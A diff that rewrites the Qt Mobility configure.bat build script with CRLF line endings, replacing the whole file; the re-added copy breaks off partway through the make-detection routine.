configure.bat should use CRLF ending as execution may otherwise fail in some cases

--- configure.bat
+++ configure.bat
@@ -1,549 +1,549 @@
-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-::
-:: Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-:: All rights reserved.
-:: Contact: Nokia Corporation (qt-info@nokia.com)
-::
-:: This file is part of the Qt Mobility Components.
-::
-:: $QT_BEGIN_LICENSE:LGPL$
-:: No Commercial Usage
-:: This file contains pre-release code and may not be distributed.
-:: You may use this file in accordance with the terms and conditions
-:: contained in the Technology Preview License Agreement accompanying
-:: this package.
-::
-:: GNU Lesser General Public License Usage
-:: Alternatively, this file may be used under the terms of the GNU Lesser
-:: General Public License version 2.1 as published by the Free Software
-:: Foundation and appearing in the file LICENSE.LGPL included in the
-:: packaging of this file.  Please review the following information to
-:: ensure the GNU Lesser General Public License version 2.1 requirements
-:: will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-::
-:: In addition, as a special exception, Nokia gives you certain additional
-:: rights.  These rights are described in the Nokia Qt LGPL Exception
-:: version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-::
-:: If you have questions regarding the use of this file, please contact
-:: Nokia at qt-info@nokia.com.
-::
-::
-::
-::
-::
-::
-::
-::
-:: $QT_END_LICENSE$
-::
-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-
-@echo off
-
-set QT_MOBILITY_PREFIX= C:\QtMobility
-set BUILD_PATH=%CD%
-set SOURCE_PATH= %~dp0
-cd /D %SOURCE_PATH%
-set SOURCE_PATH=%CD%
-cd /D %BUILD_PATH%
-
-set PROJECT_CONFIG= %BUILD_PATH%\config.in
-set PROJECT_LOG= %BUILD_PATH%\config.log
-set RELEASEMODE=release
-set WIN32_RELEASEMODE=debug_and_release build_all
-set QT_MOBILITY_LIB=
-set BUILD_UNITTESTS=no
-set BUILD_EXAMPLES=no
-set BUILD_DOCS=yes
-set MOBILITY_MODULES=bearer location contacts multimedia publishsubscribe versit messaging systeminfo serviceframework sensors
-set MOBILITY_MODULES_UNPARSED=
-set VC_TEMPLATE_OPTION=
-set QT_PATH=
-set QMAKE_CACHE=%BUILD_PATH%\.qmake.cache
-
-if exist "%QMAKE_CACHE%" del %QMAKE_CACHE%
-if exist "%PROJECT_LOG%" del %PROJECT_LOG%
-if exist "%PROJECT_CONFIG%" del %PROJECT_CONFIG%
-
-echo QT_MOBILITY_SOURCE_TREE = %SOURCE_PATH% > %QMAKE_CACHE%
-echo QT_MOBILITY_BUILD_TREE = %BUILD_PATH% >> %QMAKE_CACHE%
-set QMAKE_CACHE=
-
-:cmdline_parsing
-if "%1" == ""               goto startProcessing
-if "%1" == "-debug"         goto debugTag
-if "%1" == "-release"       goto releaseTag
-if "%1" == "-silent"        goto silentTag
-if "%1" == "-prefix"        goto prefixTag
-if "%1" == "-libdir"        goto libTag
-if "%1" == "-bindir"        goto binTag
-if "%1" == "-headerdir"     goto headerTag
-if "%1" == "-tests"         goto testTag
-if "%1" == "-examples"      goto exampleTag
-if "%1" == "-qt"            goto qtTag
-if "%1" == "-vc"            goto vcTag
-if "%1" == "-no-docs"       goto nodocsTag
-if "%1" == "-modules"       goto modulesTag
-if "%1" == "/?"             goto usage
-if "%1" == "-h"             goto usage
-if "%1" == "-help"          goto usage
-if "%1" == "--help"         goto usage
-
-
-echo Unknown option: "%1"
-goto usage
-
-:usage
-echo Usage: configure.bat [-prefix (dir)] [headerdir (dir)] [libdir (dir)]
-    echo                  [-bindir (dir)] [-tests] [-examples]
-    echo                  [-debug] [-release] [-silent]
-    echo.
-    echo Options:
-    echo.
-    echo -prefix (dir) ..... This will install everything relative to dir
-    echo                     (default prefix: C:\QtMobility)
-    echo -headerdir (dir) .. Header files will be installed to dir
-    echo                     (default prefix: PREFIX/include)
-    echo -libdir (dir) ..... Libraries will be installed to dir
-    echo                     (default PREFIX/lib)
-    echo -bindir (dir) ..... Executables will be installed to dir
-    echo                     (default PREFIX/bin)
-    echo -debug ............ Build with debugging symbols
-    echo -release .......... Build without debugging symbols
-    echo -silent ........... Reduces build output
-    echo -tests ............ Build unit tests (not build by default)
-    echo                     Note, this adds test symbols to all libraries
-    echo                     and should not be used for release builds.
-    echo -examples ......... Build example applications
-    echo -no-docs .......... Do not build documentation (build by default)
-    echo -modules ^<list^> ... Build only the specified modules (default all)
-    echo                     Choose from: bearer contacts location publishsubscribe
-    echo                     messaging multimedia systeminfo serviceframework versit
-    echo                     sensors
-    echo                     Modules should be separated by a space and surrounded
-    echo                     by double quotation. If a
-    echo                     selected module depends on other modules dependencies
-    echo                     will automatically be enabled.
-    echo -vc ............... Generate Visual Studio make files
-
-
-if exist "%PROJECT_CONFIG%" del %PROJECT_CONFIG%
-goto exitTag
-
-:qtTag
-shift
-set QT_PATH=%1\
-shift
-goto cmdline_parsing
-
-:debugTag
-if "%RELEASEMODE%" == "release" set RELEASEMODE=debug
-set WIN32_RELEASEMODE=
-shift
-goto cmdline_parsing
-
-:releaseTag
-if "%RELEASEMODE%" == "debug"   set RELEASEMODE=release
-set WIN32_RELEASEMODE=
-shift
-goto cmdline_parsing
-
-:silentTag
-echo CONFIG += silent > %PROJECT_CONFIG%
-shift
-goto cmdline_parsing
-
-:prefixTag
-shift
-set QT_MOBILITY_PREFIX=%1
-shift
-goto cmdline_parsing
-
-:libTag
-shift
-echo QT_MOBILITY_LIB = %1 >> %PROJECT_CONFIG%
-shift
-goto cmdline_parsing
-
-:binTag
-shift
-echo QT_MOBILITY_BIN = %1 >> %PROJECT_CONFIG%
-shift
-goto cmdline_parsing
-
-:headerTag
-shift
-echo QT_MOBILITY_INCLUDE = %1 >> %PROJECT_CONFIG%
-shift
-goto cmdline_parsing
-
-:testTag
-set BUILD_UNITTESTS=yes
-shift
-goto cmdline_parsing
-
-:exampleTag
-set BUILD_EXAMPLES=yes
-shift
-goto cmdline_parsing
-
-:vcTag
-shift
-set VC_TEMPLATE_OPTION=-tp vc
-goto cmdline_parsing
-
-:nodocsTag
-set BUILD_DOCS=no
-shift
-goto cmdline_parsing
-
-:modulesTag
-shift
-:: %1 can have leading/trailing quotes, so we can't use if "%1" == ""
-if xx%1xx == xxxx (
-    echo. >&2
-    echo >&2The -modules option requires a list of modules.
-    echo. >&2
-    goto usage
-)
-
-:: Remove leading/trailing quotes, if we have them
-set MOBILITY_MODULES_UNPARSED=xxx%1xxx
-set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:"xxx=%
-set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:xxx"=%
-set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:xxx=%
-
-REM reset default modules as we expect a modules list
-set MOBILITY_MODULES=
-
-echo Checking selected modules:
-:modulesTag2
-
-for /f "tokens=1,*" %%a in ("%MOBILITY_MODULES_UNPARSED%") do (
-    set FIRST=%%a
-    set REMAINING=%%b
-)
-
-: What we want is a switch as we need to check module name and only want to
-: distinguish between false and correct module names being passed
-if %FIRST% == bearer (
-    echo     Bearer Management selected
-) else if %FIRST% == contacts (
-    echo     Contacts selected
-) else if %FIRST% == location (
-    echo     Location selected
-) else if %FIRST% == messaging (
-    echo     Messaging selected
-) else if %FIRST% == multimedia (
-    echo     Multimedia selected
-) else if %FIRST% == publishsubscribe (
-    echo     PublishSubscribe selected
-) else if %FIRST% == systeminfo (
-    echo     Systeminfo selected
-) else if %FIRST% == serviceframework (
-    echo     ServiceFramework selected
-) else if %FIRST% == versit (
-    echo     Versit selected ^(implies Contacts^)
-) else if %FIRST% == sensors (
-    echo     Sensors selected
-) else (
-    echo     Unknown module %FIRST%
-    goto errorTag
-)
-
-set MOBILITY_MODULES=%MOBILITY_MODULES% %FIRST%
-if "%REMAINING%" == "" (
-    shift
-) else (
-    set MOBILITY_MODULES_UNPARSED=%REMAINING%
-    goto modulesTag2
-)
-
-SET REMAINING=
-SET FIRST=
-goto cmdline_parsing
-
-:startProcessing
-
-echo CONFIG += %RELEASEMODE% >> %PROJECT_CONFIG%
-echo CONFIG_WIN32 += %WIN32_RELEASEMODE% %RELEASEMODE% >> %PROJECT_CONFIG%
-set RELEASEMODE=
-set WIN32_RELEASEMODE=
-
-set CURRENTDIR=%CD%
-echo %CURRENTDIR%
-if exist %QT_MOBILITY_PREFIX% goto prefixExists
-mkdir %QT_MOBILITY_PREFIX%
-if errorlevel 1 goto invalidPrefix
-cd /D %QT_MOBILITY_PREFIX%
-set QT_MOBILITY_PREFIX=%CD%
-cd /D %CURRENTDIR%
-rd /S /Q %QT_MOBILITY_PREFIX%
-goto endprefixProcessing
-
-:invalidPrefix
-echo "%QT_MOBILITY_PREFIX%" is not a valid directory path.
-goto :exitTag
-
-:prefixExists
-cd /D %QT_MOBILITY_PREFIX%
-set QT_MOBILITY_PREFIX=%CD%
-cd /D %CURRENTDIR%
-
-:endprefixProcessing
-echo QT_MOBILITY_PREFIX = %QT_MOBILITY_PREFIX% >> %PROJECT_CONFIG%
-
-echo build_unit_tests = %BUILD_UNITTESTS% >> %PROJECT_CONFIG%
-set BUILD_UNITTESTS=
-
-echo build_examples = %BUILD_EXAMPLES% >> %PROJECT_CONFIG%
-set BUILD_EXAMPLES=
-
-echo build_docs = %BUILD_DOCS% >> %PROJECT_CONFIG%
-set BUILD_DOCS=
-
-echo qmf_enabled = no >> %PROJECT_CONFIG%
-
-echo isEmpty($$QT_MOBILITY_INCLUDE):QT_MOBILITY_INCLUDE=$$QT_MOBILITY_PREFIX/include >> %PROJECT_CONFIG%
-echo isEmpty($$QT_MOBILITY_LIB):QT_MOBILITY_LIB=$$QT_MOBILITY_PREFIX/lib >> %PROJECT_CONFIG%
-echo isEmpty($$QT_MOBILITY_BIN):QT_MOBILITY_BIN=$$QT_MOBILITY_PREFIX/bin >> %PROJECT_CONFIG%
-
-echo mobility_modules = %MOBILITY_MODULES%  >> %PROJECT_CONFIG%
-REM no Sysinfo support on Maemo yet
-echo maemo5^|maemo6:mobility_modules -= systeminfo >> %PROJECT_CONFIG%
-echo contains(mobility_modules,versit): mobility_modules *= contacts  >> %PROJECT_CONFIG%
-
-echo Checking available Qt
-call %QT_PATH%qmake -v >> %PROJECT_LOG% 2>&1
-if errorlevel 1 goto qmakeNotFound
-goto qmakeFound
-:qmakeNotFound
-echo ... Not found  >> %PROJECT_LOG% 2>&1
-if "%QT_PATH%" == "" (
-    echo >&2Cannot find 'qmake' in your PATH.
-    echo >&2Your PATH is: %PATH%
-) else (
-    echo >&2Cannot find 'qmake' in %QT_PATH%.
-)
-echo >&2Aborting.
-goto errorTag
-
-:qmakeFound
-call %QT_PATH%qmake -query QT_VERSION
-
-goto checkMake
-
-:makeTest
-setlocal
-    set CURRENT_PWD=%CD%
-
-    if %BUILD_PATH% == %SOURCE_PATH% (
-        cd %SOURCE_PATH%\config.tests\make
-        if exist make del make
-    ) else (
-        rmdir /S /Q config.tests\make
-        mkdir config.tests\make
-        cd config.tests\make
-    )
-
-    for /f "tokens=3" %%i in ('call %QT_PATH%qmake %SOURCE_PATH%\config.tests\make\make.pro 2^>^&1 1^>NUL') do set BUILDSYSTEM=%%i
-
-    if %BUILDSYSTEM% == symbian-abld (
-        call make -h >> %PROJECT_LOG% 2>&1
-        if not errorlevel 1 (
-            echo ... Symbian abld make found.
-            set MAKE=make
-        )
-    ) else if %BUILDSYSTEM% == symbian-sbsv2 (
-        call make -h >> %PROJECT_LOG% 2>&1
-        if not errorlevel 1 (
-            echo ... Symbian sbsv2 make found.
-            set MAKE=make
-        )
-    ) else if %BUILDSYSTEM% == win32-nmake (
-        call nmake /? >> %PROJECT_LOG% 2>&1
-        if not errorlevel 1 (
-            echo ... nmake found.
-            set MAKE=nmake
-        )
-    ) else if %BUILDSYSTEM% == win32-mingw (
-        call mingw32-make -v >> %PROJECT_LOG% 2>&1
-        if not errorlevel 1 (
-            echo ... mingw32-make found.
-            set MAKE=mingw32-make
-        )
-    ) else (
-        echo ... Unknown target environment %BUILDSYSTEM%.
-    )
-    call cd %CURRENT_PWD%
-call endlocal&set %1=%MAKE%&set %2=%BUILDSYSTEM%&goto :EOF
-
-:checkMake
-echo Checking make
-call :makeTest MOBILITY_MAKE MOBILITY_BUILDSYSTEM
-if not "%MOBILITY_MAKE%" == "" goto compileTests
-
-echo >&2Cannot find 'nmake', 'mingw32-make' or 'make' in your PATH
-echo >&2Aborting.
-goto errorTag
-
-:compileTest
-setlocal
-    echo Checking %1
-    set CURRENT_PWD=%CD%
-
-    if %BUILD_PATH% == %SOURCE_PATH% (
-        cd %SOURCE_PATH%\config.tests\%2
-        if exist %2 del %2
-    ) else (
-        rmdir /S /Q config.tests\%2
-        mkdir config.tests\%2
-        cd config.tests\%2
-    )
-
-    call %QT_PATH%qmake %SOURCE_PATH%\config.tests\%2\%2.pro >> %PROJECT_LOG% 2>&1
-    call %MOBILITY_MAKE% clean >> %PROJECT_LOG% 2>&1
-    call %MOBILITY_MAKE% >> %PROJECT_LOG% 2>&1
-
-    set FAILED=0
-    if %MOBILITY_BUILDSYSTEM% == symbian-sbsv2 (
-        for /f "tokens=2" %%i in ('%MOBILITY_MAKE% SBS^="@sbs --check"') do set FAILED=1
-    ) else if %MOBILITY_BUILDSYSTEM% == symbian-abld (
-        for /f "tokens=2" %%i in ('%MOBILITY_MAKE% ABLD^="@ABLD.BAT -c" 2^>^&1') do if not %%i == bldfiles set FAILED=1
-    ) else if errorlevel 1 (
-        set FAILED=1
-    )
-
-    if %FAILED% == 0 (
-        echo ... OK
-        echo %2_enabled = yes >> %PROJECT_CONFIG%
-    ) else (
-        echo ... Not Found
-        echo %2_enabled = no >> %PROJECT_CONFIG%
-    )
-
-    cd %CURRENT_PWD%
-endlocal&goto :EOF
-
-:compileTests
-
-echo.
-echo Start of compile tests
-REM compile tests go here.
-call :compileTest LBT lbt
-call :compileTest SNAP snap
-call :compileTest OCC occ
-call :compileTest SymbianContactSIM symbiancntsim
-echo End of compile tests
-echo.
-echo.
-
-REM we could skip generating headers if a module is not enabled
-if not exist "%BUILD_PATH%\features" mkdir %BUILD_PATH%\features
-copy %SOURCE_PATH%\features\strict_flags.prf %BUILD_PATH%\features
-echo Generating Mobility Headers...
-rd /s /q %BUILD_PATH%\include
-mkdir %BUILD_PATH%\include
-perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\global
-
-set MODULES_TEMP=%MOBILITY_MODULES%
-
-:generateHeaders
-
-for /f "tokens=1,*" %%a in ("%MODULES_TEMP%") do (
-    set FIRST=%%a
-    set REMAINING=%%b
-)
-
-if %FIRST% == bearer (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\bearer
-) else if %FIRST% == contacts (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\requests
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\filters
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\details
-) else if %FIRST% == location (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\location
-) else if %FIRST% == messaging (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\messaging
-) else if %FIRST% == multimedia (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\multimedia
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\multimedia\experimental
-) else if %FIRST% == publishsubscribe (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\publishsubscribe
-) else if %FIRST% == systeminfo (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\systeminfo
-) else if %FIRST% == serviceframework (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\serviceframework
-) else if %FIRST% == versit (
-    REM versit implies contacts
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\versit
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\requests
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\filters
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\contacts\details
-) else if %FIRST% == sensors (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include %SOURCE_PATH%\src\sensors
-)
-
-if "%REMAINING%" == "" (
-    shift
-) else (
-    set MODULES_TEMP=%REMAINING%
-    goto generateHeaders
-)
-
-SET REMAINING=
-SET FIRST=
-SET MODULES_TEMP=
-
-if exist config.pri del config.pri
-ren %PROJECT_CONFIG% config.pri
-
-echo.
-echo Running qmake...
-call %QT_PATH%qmake -recursive %VC_TEMPLATE_OPTION% %SOURCE_PATH%\qtmobility.pro
-if errorlevel 1 goto qmakeRecError
-echo.
-echo configure has finished. You may run %MOBILITY_MAKE% to build the project now.
-goto exitTag
-
-:qmakeRecError
-echo.
-echo configure failed.
-goto errorTag
-
-:errorTag
-set BUILD_PATH=
-set CURRENTDIR=
-set MOBILITY_MAKE=
-set MOBILITY_BUILDSYSTEM=
-set PROJECT_CONFIG=
-set PROJECT_LOG=
-set QT_MOBILITY_PREFIX=
-set QT_PATH=
-set SOURCE_PATH=
-set MOBILITY_MODULES=
-set MOBILITY_MODULES_UNPARSED=
-SET REMAINING=
-SET FIRST=
-SET MODULES_TEMP=
-exit /b 1
-
-:exitTag
-set BUILD_PATH=
-set CURRENTDIR=
-set MOBILITY_MAKE=
-set MOBILITY_BUILDSYSTEM=
-set PROJECT_CONFIG=
-set PROJECT_LOG=
-set QT_MOBILITY_PREFIX=
-set QT_PATH=
-set SOURCE_PATH=
-set MOBILITY_MODULES=
-set MOBILITY_MODULES_UNPARSED=
-SET REMAINING=
-SET FIRST=
-SET MODULES_TEMP=
-exit /b 0
+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+::
+:: Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+:: All rights reserved.
+:: Contact: Nokia Corporation (qt-info@nokia.com)
+::
+:: This file is part of the Qt Mobility Components.
+::
+:: $QT_BEGIN_LICENSE:LGPL$
+:: No Commercial Usage
+:: This file contains pre-release code and may not be distributed.
+:: You may use this file in accordance with the terms and conditions
+:: contained in the Technology Preview License Agreement accompanying
+:: this package.
+::
+:: GNU Lesser General Public License Usage
+:: Alternatively, this file may be used under the terms of the GNU Lesser
+:: General Public License version 2.1 as published by the Free Software
+:: Foundation and appearing in the file LICENSE.LGPL included in the
+:: packaging of this file.  Please review the following information to
+:: ensure the GNU Lesser General Public License version 2.1 requirements
+:: will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+::
+:: In addition, as a special exception, Nokia gives you certain additional
+:: rights.  These rights are described in the Nokia Qt LGPL Exception
+:: version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+::
+:: If you have questions regarding the use of this file, please contact
+:: Nokia at qt-info@nokia.com.
+::
+::
+::
+::
+::
+::
+::
+::
+:: $QT_END_LICENSE$
+::
+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+@echo off
+
+set QT_MOBILITY_PREFIX= C:\QtMobility
+set BUILD_PATH=%CD%
+set SOURCE_PATH= %~dp0
+cd /D %SOURCE_PATH%
+set SOURCE_PATH=%CD%
+cd /D %BUILD_PATH%
+
+set PROJECT_CONFIG= %BUILD_PATH%\config.in
+set PROJECT_LOG= %BUILD_PATH%\config.log
+set RELEASEMODE=release
+set WIN32_RELEASEMODE=debug_and_release build_all
+set QT_MOBILITY_LIB=
+set BUILD_UNITTESTS=no
+set BUILD_EXAMPLES=no
+set BUILD_DOCS=yes
+set MOBILITY_MODULES=bearer location contacts multimedia publishsubscribe versit messaging systeminfo serviceframework sensors
+set MOBILITY_MODULES_UNPARSED=
+set VC_TEMPLATE_OPTION=
+set QT_PATH=
+set QMAKE_CACHE=%BUILD_PATH%\.qmake.cache
+
+if exist "%QMAKE_CACHE%" del %QMAKE_CACHE%
+if exist "%PROJECT_LOG%" del %PROJECT_LOG%
+if exist "%PROJECT_CONFIG%" del %PROJECT_CONFIG%
+
+echo QT_MOBILITY_SOURCE_TREE = %SOURCE_PATH% > %QMAKE_CACHE%
+echo QT_MOBILITY_BUILD_TREE = %BUILD_PATH% >> %QMAKE_CACHE%
+set QMAKE_CACHE=
+
+:cmdline_parsing
+if "%1" == ""               goto startProcessing
+if "%1" == "-debug"         goto debugTag
+if "%1" == "-release"       goto releaseTag
+if "%1" == "-silent"        goto silentTag
+if "%1" == "-prefix"        goto prefixTag
+if "%1" == "-libdir"        goto libTag
+if "%1" == "-bindir"        goto binTag
+if "%1" == "-headerdir"     goto headerTag
+if "%1" == "-tests"         goto testTag
+if "%1" == "-examples"      goto exampleTag
+if "%1" == "-qt"            goto qtTag
+if "%1" == "-vc"            goto vcTag
+if "%1" == "-no-docs"       goto nodocsTag
+if "%1" == "-modules"       goto modulesTag
+if "%1" == "/?"             goto usage
+if "%1" == "-h"             goto usage
+if "%1" == "-help"          goto usage
+if "%1" == "--help"         goto usage
+
+
+echo Unknown option: "%1"
+goto usage
+
+:usage
+echo Usage: configure.bat [-prefix (dir)] [headerdir (dir)] [libdir (dir)]
+    echo                  [-bindir (dir)] [-tests] [-examples]
+    echo                  [-debug] [-release] [-silent]
+    echo.
+    echo Options:
+    echo.
+    echo -prefix (dir) ..... This will install everything relative to dir
+    echo                     (default prefix: C:\QtMobility)
+    echo -headerdir (dir) .. Header files will be installed to dir
+    echo                     (default prefix: PREFIX/include)
+    echo -libdir (dir) ..... Libraries will be installed to dir
+    echo                     (default PREFIX/lib)
+    echo -bindir (dir) ..... Executables will be installed to dir
+    echo                     (default PREFIX/bin)
+    echo -debug ............ Build with debugging symbols
+    echo -release .......... Build without debugging symbols
+    echo -silent ........... Reduces build output
+    echo -tests ............ Build unit tests (not build by default)
+    echo                     Note, this adds test symbols to all libraries
+    echo                     and should not be used for release builds.
+    echo -examples ......... Build example applications
+    echo -no-docs .......... Do not build documentation (build by default)
+    echo -modules ^<list^> ... Build only the specified modules (default all)
+    echo                     Choose from: bearer contacts location publishsubscribe
+    echo                     messaging multimedia systeminfo serviceframework versit
+    echo                     sensors
+    echo                     Modules should be separated by a space and surrounded
+    echo                     by double quotation. If a
+    echo                     selected module depends on other modules dependencies
+    echo                     will automatically be enabled.
+    echo -vc ............... Generate Visual Studio make files
+
+
+if exist "%PROJECT_CONFIG%" del %PROJECT_CONFIG%
+goto exitTag
+
+:qtTag
+shift
+set QT_PATH=%1\
+shift
+goto cmdline_parsing
+
+:debugTag
+if "%RELEASEMODE%" == "release" set RELEASEMODE=debug
+set WIN32_RELEASEMODE=
+shift
+goto cmdline_parsing
+
+:releaseTag
+if "%RELEASEMODE%" == "debug"   set RELEASEMODE=release
+set WIN32_RELEASEMODE=
+shift
+goto cmdline_parsing
+
+:silentTag
+echo CONFIG += silent > %PROJECT_CONFIG%
+shift
+goto cmdline_parsing
+
+:prefixTag
+shift
+set QT_MOBILITY_PREFIX=%1
+shift
+goto cmdline_parsing
+
+:libTag
+shift
+echo QT_MOBILITY_LIB = %1 >> %PROJECT_CONFIG%
+shift
+goto cmdline_parsing
+
+:binTag
+shift
+echo QT_MOBILITY_BIN = %1 >> %PROJECT_CONFIG%
+shift
+goto cmdline_parsing
+
+:headerTag
+shift
+echo QT_MOBILITY_INCLUDE = %1 >> %PROJECT_CONFIG%
+shift
+goto cmdline_parsing
+
+:testTag
+set BUILD_UNITTESTS=yes
+shift
+goto cmdline_parsing
+
+:exampleTag
+set BUILD_EXAMPLES=yes
+shift
+goto cmdline_parsing
+
+:vcTag
+shift
+set VC_TEMPLATE_OPTION=-tp vc
+goto cmdline_parsing
+
+:nodocsTag
+set BUILD_DOCS=no
+shift
+goto cmdline_parsing
+
+:modulesTag
+shift
+:: %1 can have leading/trailing quotes, so we can't use if "%1" == ""
+if xx%1xx == xxxx (
+    echo. >&2
+    echo >&2The -modules option requires a list of modules.
+    echo. >&2
+    goto usage
+)
+
+:: Remove leading/trailing quotes, if we have them
+set MOBILITY_MODULES_UNPARSED=xxx%1xxx
+set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:"xxx=%
+set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:xxx"=%
+set MOBILITY_MODULES_UNPARSED=%MOBILITY_MODULES_UNPARSED:xxx=%
+
+REM reset default modules as we expect a modules list
+set MOBILITY_MODULES=
+
+echo Checking selected modules:
+:modulesTag2
+
+for /f "tokens=1,*" %%a in ("%MOBILITY_MODULES_UNPARSED%") do (
+    set FIRST=%%a
+    set REMAINING=%%b
+)
+
+: What we want is a switch as we need to check module name and only want to
+: distinguish between false and correct module names being passed
+if %FIRST% == bearer (
+    echo     Bearer Management selected
+) else if %FIRST% == contacts (
+    echo     Contacts selected
+) else if %FIRST% == location (
+    echo     Location selected
+) else if %FIRST% == messaging (
+    echo     Messaging selected
+) else if %FIRST% == multimedia (
+    echo     Multimedia selected
+) else if %FIRST% == publishsubscribe (
+    echo     PublishSubscribe selected
+) else if %FIRST% == systeminfo (
+    echo     Systeminfo selected
+) else if %FIRST% == serviceframework (
+    echo     ServiceFramework selected
+) else if %FIRST% == versit (
+    echo     Versit selected ^(implies Contacts^)
+) else if %FIRST% == sensors (
+    echo     Sensors selected
+) else (
+    echo     Unknown module %FIRST%
+    goto errorTag
+)
+
+set MOBILITY_MODULES=%MOBILITY_MODULES% %FIRST%
+if "%REMAINING%" == "" (
+    shift
+) else (
+    set MOBILITY_MODULES_UNPARSED=%REMAINING%
+    goto modulesTag2
+)
+
+SET REMAINING=
+SET FIRST=
+goto cmdline_parsing
+
+:startProcessing
+
+echo CONFIG += %RELEASEMODE% >> %PROJECT_CONFIG%
+echo CONFIG_WIN32 += %WIN32_RELEASEMODE% %RELEASEMODE% >> %PROJECT_CONFIG%
+set RELEASEMODE=
+set WIN32_RELEASEMODE=
+
+set CURRENTDIR=%CD%
+echo %CURRENTDIR%
+if exist %QT_MOBILITY_PREFIX% goto prefixExists
+mkdir %QT_MOBILITY_PREFIX%
+if errorlevel 1 goto invalidPrefix
+cd /D %QT_MOBILITY_PREFIX%
+set QT_MOBILITY_PREFIX=%CD%
+cd /D %CURRENTDIR%
+rd /S /Q %QT_MOBILITY_PREFIX%
+goto endprefixProcessing
+
+:invalidPrefix
+echo "%QT_MOBILITY_PREFIX%" is not a valid directory path.
+goto :exitTag
+
+:prefixExists
+cd /D %QT_MOBILITY_PREFIX%
+set QT_MOBILITY_PREFIX=%CD%
+cd /D %CURRENTDIR%
+
+:endprefixProcessing
+echo QT_MOBILITY_PREFIX = %QT_MOBILITY_PREFIX% >> %PROJECT_CONFIG%
+
+echo build_unit_tests = %BUILD_UNITTESTS% >> %PROJECT_CONFIG%
+set BUILD_UNITTESTS=
+
+echo build_examples = %BUILD_EXAMPLES% >> %PROJECT_CONFIG%
+set BUILD_EXAMPLES=
+
+echo build_docs = %BUILD_DOCS% >> %PROJECT_CONFIG%
+set BUILD_DOCS=
+
+echo qmf_enabled = no >> %PROJECT_CONFIG%
+
+echo isEmpty($$QT_MOBILITY_INCLUDE):QT_MOBILITY_INCLUDE=$$QT_MOBILITY_PREFIX/include >> %PROJECT_CONFIG%
+echo isEmpty($$QT_MOBILITY_LIB):QT_MOBILITY_LIB=$$QT_MOBILITY_PREFIX/lib >> %PROJECT_CONFIG%
+echo isEmpty($$QT_MOBILITY_BIN):QT_MOBILITY_BIN=$$QT_MOBILITY_PREFIX/bin >> %PROJECT_CONFIG%
+
+echo mobility_modules = %MOBILITY_MODULES%  >> %PROJECT_CONFIG%
+REM no Sysinfo support on Maemo yet
+echo maemo5^|maemo6:mobility_modules -= systeminfo >> %PROJECT_CONFIG%
+echo contains(mobility_modules,versit): mobility_modules *= contacts  >> %PROJECT_CONFIG%
+
+echo Checking available Qt
+call %QT_PATH%qmake -v >> %PROJECT_LOG% 2>&1
+if errorlevel 1 goto qmakeNotFound
+goto qmakeFound
+:qmakeNotFound
+echo ... Not found  >> %PROJECT_LOG% 2>&1
+if "%QT_PATH%" == "" (
+    echo >&2Cannot find 'qmake' in your PATH.
+    echo >&2Your PATH is: %PATH%
+) else (
+    echo >&2Cannot find 'qmake' in %QT_PATH%.
+)
+echo >&2Aborting.
+goto errorTag
+
+:qmakeFound
+call %QT_PATH%qmake -query QT_VERSION
+
+goto checkMake
+
+:makeTest
+setlocal
+    set CURRENT_PWD=%CD%
+
+    if %BUILD_PATH% == %SOURCE_PATH% (
+        cd %SOURCE_PATH%\config.tests\make
+        if exist make del make
+    ) else (
+        rmdir /S /Q config.tests\make
+        mkdir config.tests\make
+        cd config.tests\make
+    )
+
+    for /f "tokens=3" %%i in ('call %QT_PATH%qmake %SOURCE_PATH%\config.tests\make\make.pro 2^>^&1 1^>NUL') do set BUILDSYSTEM=%%i
+
+    if %BUILDSYSTEM% == symbian-abld (
+        call make -h >> %PROJECT_LOG% 2>&1
